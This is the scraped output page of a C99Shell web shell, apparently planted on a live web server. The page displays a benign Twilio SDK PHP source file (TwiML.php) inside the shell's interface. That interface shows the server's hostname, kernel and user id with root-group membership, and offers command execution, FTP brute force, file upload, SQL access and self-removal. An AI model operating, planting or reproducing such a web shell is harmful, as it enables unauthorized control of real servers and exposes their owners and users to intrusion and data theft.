!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/twilio/sdk/src/Twilio/TwiML/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TwiML.php (3.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Twilio\TwiML;

use 
DOMDocument;
use 
DOMElement;

/**
 * @property $name string XML element name
 * @property $attributes array XML attributes
 * @property $value string XML body
 * @property $children TwiML[] nested TwiML elements
 */
abstract class TwiML {
    protected 
$name;
    protected 
$attributes;
    protected 
$children;

    
/**
     * TwiML constructor.
     *
     * @param string $name XML element name
     * @param string $value XML value
     * @param array $attributes XML attributes
     */
    
public function __construct(string $namestring $value null, array $attributes = []) {
        
$this->name $name;
        
$this->attributes $attributes;
        
$this->children = [];

        if (
$value !== null) {
            
$this->children[] = $value;
        }
    }

    
/**
     * Add a TwiML element.
     *
     * @param TwiML|string $twiml TwiML element to add
     * @return TwiML $this
     */
    
public function append($twiml): TwiML {
        
$this->children[] = $twiml;
        return 
$this;
    }

    
/**
     * Add a TwiML element.
     *
     * @param TwiML $twiml TwiML element to add
     * @return TwiML added TwiML element
     */
    
public function nest(TwiML $twiml): TwiML {
        
$this->children[] = $twiml;
        return 
$twiml;
    }

    
/**
     * Set TwiML attribute.
     *
     * @param string $key name of attribute
     * @param string $value value of attribute
     * @return static $this
     */
    
public function setAttribute(string $keystring $value): TwiML {
        
$this->attributes[$key] = $value;
        return 
$this;
    }

    
/**
     * @param string $name XML element name
     * @param string $value XML value
     * @param array $attributes XML attributes
     * @return TwiML
     */
    
public function addChild(string $namestring $value null, array $attributes = []): TwiML {
        return 
$this->nest(new GenericNode($name$value$attributes));
    }

    
/**
     * Convert TwiML to XML string.
     *
     * @return string TwiML XML representation
     */
    
public function asXML(): string {
        return (string)
$this;
    }

    
/**
     * Convert TwiML to XML string.
     *
     * @return string TwiML XML representation
     */
    
public function __toString(): string {
        return 
$this->xml()->saveXML();
    }

    
/**
     * Build TwiML element.
     *
     * @param TwiML $twiml TwiML element to convert to XML
     * @param DOMDocument $document XML document for the element
     * @return DOMElement $element
     */
    
private function buildElement(TwiML $twimlDOMDocument $document): DOMElement {
        
$element $document->createElement($twiml->name);

        foreach (
$twiml->attributes as $name => $value) {
            if (
\is_bool($value)) {
                
$value = ($value === true) ? 'true' 'false';
            }
            
$element->setAttribute($name$value);
        }

        foreach (
$twiml->children as $child) {
            if (
\is_string($child)) {
                
$element->appendChild($document->createTextNode($child));
            } else {
                
$element->appendChild($this->buildElement($child$document));
            }
        }

        return 
$element;
    }

    
/**
     * Build XML element.
     *
     * @return DOMDocument Build TwiML element
     */
    
private function xml(): DOMDocument {
        
$document = new DOMDocument('1.0''UTF-8');
        
$document->appendChild($this->buildElement($this$document));
        return 
$document;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--